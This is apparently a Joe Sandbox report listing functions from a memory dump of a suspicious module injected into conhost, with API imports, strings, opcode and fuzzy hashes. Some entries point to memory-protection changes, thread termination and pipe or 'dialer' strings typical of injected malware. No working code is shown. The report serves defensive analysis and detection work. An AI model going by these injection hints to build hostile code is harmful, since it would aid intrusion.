API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: b3934b0978a5232d5d576f52f02f3683101d4e55fb511b034a5a54ef02d023d4
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 99817D39600E4187FBB3AB65AE813DB3691EB8FBC0F144419A949C77A6EF3CC8458711

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB989DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001B0BB989E49
GetLastError.KERNEL32 ref: 000001B0BB989E57
LoadLibraryExW.KERNEL32 ref: 000001B0BB989E81
FreeLibrary.KERNEL32 ref: 000001B0BB989EC7
GetProcAddress.KERNEL32 ref: 000001B0BB989ED3

Strings

api-ms-, xrefs: 000001B0BB989E69

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 513716fd9f522b5f06c6acce9ca5cf0e112c6c0d5aef5ab896f36eafcbb6a0dc
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 2431C439212E40D3EF739B02AE407E63A94F74EBE0F5915299D6E87792DF39C4558310

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB993DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001B0BB993DE5
GetLastError.KERNEL32 ref: 000001B0BB993DF1
CloseHandle.KERNEL32 ref: 000001B0BB993E09
CreateFileW.KERNEL32 ref: 000001B0BB993E34
WriteConsoleW.KERNEL32 ref: 000001B0BB993E53

Strings

CONOUT$, xrefs: 000001B0BB993E15

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: b0a81d200032d86ad38d316e1880028995d8a3141c355d29fd8f9425fb66d309
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: AB115E39214E4087E7B18B52E98435A76A0F78DFE4F044219EA9AC77A5CF78C4148744

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB983790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001B0BB98379E
GetCurrentProcess.KERNEL32 ref: 000001B0BB9837CC
VirtualProtectEx.KERNEL32 ref: 000001B0BB9837EE
GetCurrentProcess.KERNEL32 ref: 000001B0BB983809
VirtualProtectEx.KERNEL32 ref: 000001B0BB98382A

Strings

wr, xrefs: 000001B0BB9837FF

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 411fd60a1f16dd2e88446c120427be7865b76b9799b2deab0c6ca42901cc0f25
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: FD113C3A708B4183FF659B22F5046AA72B0F749BC5F444029EE8987764EF3DC505C704

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB985B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001B0BB985B6B
GetThreadContext.KERNEL32 ref: 000001B0BB985CD5

Part of subcall function 000001B0BB985960: GetCurrentThreadId.KERNEL32 ref: 000001B0BB985964

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 500358b5d55420f6b7e44d89d5364171a30b7326fec8f68509e9868970bc3ca9
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 02D1897A208F9882DB719B16E99439B77A0F78DBC4F110116EA8D87BA5DF3CC545CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB982F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001B0BB982F27
HeapAlloc.KERNEL32 ref: 000001B0BB982F3A
StrCmpNIW.SHLWAPI ref: 000001B0BB982FAF
GetProcessHeap.KERNEL32 ref: 000001B0BB983015
HeapFree.KERNEL32 ref: 000001B0BB983023

Strings

dialer, xrefs: 000001B0BB982FA8

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 089657c911624ca5745a56f043cfbe9acda64173e545b2775df41812c2f17173
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: C3315F3A701F5183E666DF169A407AA7790FB4ABC4F0841249E4887B55EF34C461C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001B0BB98CFAF
FlsSetValue.KERNEL32(?,?,?,000001B0BB98D6B5,?,?,?,?,000001B0BB98D778), ref: 000001B0BB98CFE5
FlsSetValue.KERNEL32(?,?,?,000001B0BB98D6B5,?,?,?,?,000001B0BB98D778), ref: 000001B0BB98D012
FlsSetValue.KERNEL32(?,?,?,000001B0BB98D6B5,?,?,?,?,000001B0BB98D778), ref: 000001B0BB98D023
FlsSetValue.KERNEL32(?,?,?,000001B0BB98D6B5,?,?,?,?,000001B0BB98D778), ref: 000001B0BB98D034
SetLastError.KERNEL32 ref: 000001B0BB98D04F

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 6feecfa75cba948cb456dc004c2eb29c23fa3216b8950edd8b9abb0b875a267b
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 9F114D3D201E5843FA76A7215B553AB3152DF8FBF4F144728A836D66EADF68C4018610

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001B0BB9819C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001B0BB9819E0
PathFindFileNameW.SHLWAPI ref: 000001B0BB9819EF
lstrlenW.KERNEL32 ref: 000001B0BB9819FB
StrCpyW.SHLWAPI ref: 000001B0BB981A0E
CloseHandle.KERNEL32 ref: 000001B0BB981A1C

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 03c623da116ef67c9c0d32323dd984a926e11518bc05ea2350850e6209fc2daa
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: C6011B35300E4083EB65DB52E95879A73A5FB8DBC4F488039DE9993755DF38C549C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB9836C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001B0BB9836E4
GetCurrentProcess.KERNEL32 ref: 000001B0BB9836F2
VirtualProtectEx.KERNEL32 ref: 000001B0BB983714
GetCurrentProcess.KERNEL32 ref: 000001B0BB983732
VirtualProtectEx.KERNEL32 ref: 000001B0BB983753
TerminateThread.KERNEL32 ref: 000001B0BB983762

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: e3f3324468e23014e45b528825527c3e6b72a87fb8f00ad4e83e310966b7f946
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 37011779215F4083FB769B22EA4879B72B0FB4EB86F044428D98987B65EF3DC1088710

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB989005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001B0BB989013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001B0BB9890A8
RtlUnwindEx.NTDLL ref: 000001B0BB9890F7

Strings

f, xrefs: 000001B0BB989026
csm, xrefs: 000001B0BB98908E

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 186f5b9772127374aeffd287d2a08f1cb98be70df2387860505d511e0080f38b
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 25518E3A615A008BEB67DB15EE48B9A3796F34ABC8F50D524DA4783788DF75C841C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB988FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001B0BB989013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001B0BB9890A8
RtlUnwindEx.NTDLL ref: 000001B0BB9890F7

Strings

f, xrefs: 000001B0BB989026
csm, xrefs: 000001B0BB98908E

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: da40f04bb2948effe222ddafeee504dd6d7f2d75d518595489d269d129bae8f8
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 0B31BF3A204A4097E776DF11ED4879A37A5F34ABC8F059418EE8783789DF39C940C704

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB981A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001B0BB981A60
StrCmpNIW.SHLWAPI ref: 000001B0BB981A7A
lstrlenW.KERNEL32 ref: 000001B0BB981A89
StrCpyW.SHLWAPI ref: 000001B0BB981A9E

Strings

\\?\, xrefs: 000001B0BB981A6E

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 3a0f63169b35a715b6c2959e190cbcb935333b6122cdae920269f4ca29fc6972
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: C7F03C76304A4193EBB18B21FAC479A7760FB4DBC8F848025DA8986954DF2CC68DCB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB983044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001B0BB983066
StrCpyW.SHLWAPI ref: 000001B0BB983076
StrCatW.SHLWAPI ref: 000001B0BB983082
PathCombineW.SHLWAPI ref: 000001B0BB983090

Strings

\\.\pipe\, xrefs: 000001B0BB98305C

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 835f31e3c894f6acd4879f139cc5c1582497ebb4e98aea5d27d4fddc14066169
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: E9F05838608F8483EBA18F13BA0419A7260EB4DFC0F088128EE8A87B18DF2CC485C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001B0BB98BCBD
GetProcAddress.KERNEL32 ref: 000001B0BB98BCD3
FreeLibrary.KERNEL32 ref: 000001B0BB98BCFA

Strings

CorExitProcess, xrefs: 000001B0BB98BCCC
mscoree.dll, xrefs: 000001B0BB98BCB4

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 5356f6fb3750f8506e4f22958509b714051eb562be49930f01226f9c0de99fd1
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 05F06279211E0483FB718B29E94539B7320EB8E7A1F54021DCAAAC52E4CF3DC045C300

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB9850D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001B0BB985156

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 2c89a862cb55d2a8c980a434173d17a4b014624db5cef7d07aa726abdd436e7d
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: EC02A73A219B8487EB61CB55E99079BB7A1F3CA7D4F104015EA8E87BA9DF7CC454CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB985710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001B0BB985726

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: bf016a582cb42783d07870e10c58c4570bcbe4ab660ca89ad760f02accc2f5dd
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: D761A33A619E84C7E7718B15EA4439BB7A0F38D794F504116EA8E87BA8EF7CC544CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB994104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001B0BB99412C
_set_statfp.LIBCMT ref: 000001B0BB994147
_set_statfp.LIBCMT ref: 000001B0BB994163
_set_statfp.LIBCMT ref: 000001B0BB99419F

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: e92d809900a1e8233ce787c337b0df4a5c6d9c3f7035722c980c88031a215828
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3411513AA20E5113F6FB5669D6673E73145EB7C3B8F18862CA9F6867D6CF24C8414201

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB963504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001B0BB96352C
_set_statfp.LIBCMT ref: 000001B0BB963547
_set_statfp.LIBCMT ref: 000001B0BB963563
_set_statfp.LIBCMT ref: 000001B0BB96359F

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 44a515f911aa13fb0530074d09c6582c9fec5027f9f6840fb0570ee24fdd604a
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3F11913AA1CE1113FB76192CE7413EB3390EB5D374F588729AD6B876E69F28C841C100

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB95F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001B0BB95F124

Strings

Wednesday, xrefs: 000001B0BB95F1ED
or copy constructor iterator', xrefs: 000001B0BB95F25A, 000001B0BB95F275
Tuesday, xrefs: 000001B0BB95F0F4

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 2e87d0fc947d2a528583efde5cfaf2800fb3a8064dc66eee5400f6487445ab6b
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: FB61C17E680F0483FA778B29E7403EB7AA0E7AE760F548415CE0A937A4DF34C8458310

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001B0BB98AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001B0BB98AAB7

Strings

RCC, xrefs: 000001B0BB98AA85
MOC, xrefs: 000001B0BB98AA7C

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: cf6460fe73c7d77c40ebef720349f4b8c2403eaa0b0bf517143fe4a4a877f792
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: A561563A600B848AEB25DF65DA803DE77A1F349BC8F045215EF4A57BA8DF78C595C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001B0BB98ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001B0BB98AE88

Strings

csm, xrefs: 000001B0BB98AEDA
csm, xrefs: 000001B0BB98ADC2

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: a6afa8376d9776bba77c3ed8978bb257e1f5d2d09d65b72f42a1cf49e6c00453
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: F1519F7A100E80CBEB798F159A8439E77A0F75ABD4F184215DA99C7BD5CF38D491C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB95A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001B0BB95A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001B0BB95A288

Strings

csm, xrefs: 000001B0BB95A2DA
csm, xrefs: 000001B0BB95A1C2

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: f1897d4be56fbe81b33b08534ce5637962a00360a38113473d30ad81bc599b9d
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 1551903A140B84CBEB7B8F25964439E77A0F369B98F188116DA89C7BD5CF38D491C708

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB958405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001B0BB958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001B0BB9584A8

Strings

f, xrefs: 000001B0BB958426
csm, xrefs: 000001B0BB95848E

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: c95ca1c51dabbce49b0b4df0f581ec1a112f12749e3785ae99df035bf196c675
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 8551AB3A651B008BEB37CF15E684B9A3799F368B98F508164DE4783788EF34D8428B04

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB9583E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001B0BB958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001B0BB9584A8

Strings

f, xrefs: 000001B0BB958426
csm, xrefs: 000001B0BB95848E

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 219dfdab24475d8746ba74a886e252c61bb93e159903f682ed7d8cce1e9cc482
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 17318A3A211B4097EB379F11E98479A37A4F368B88F458014EE5B83785DF38D941C704

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB992058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001B0BB9920D7
WriteFile.KERNEL32 ref: 000001B0BB99239F
WriteFile.KERNEL32 ref: 000001B0BB9923E5
GetLastError.KERNEL32 ref: 000001B0BB99249B

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
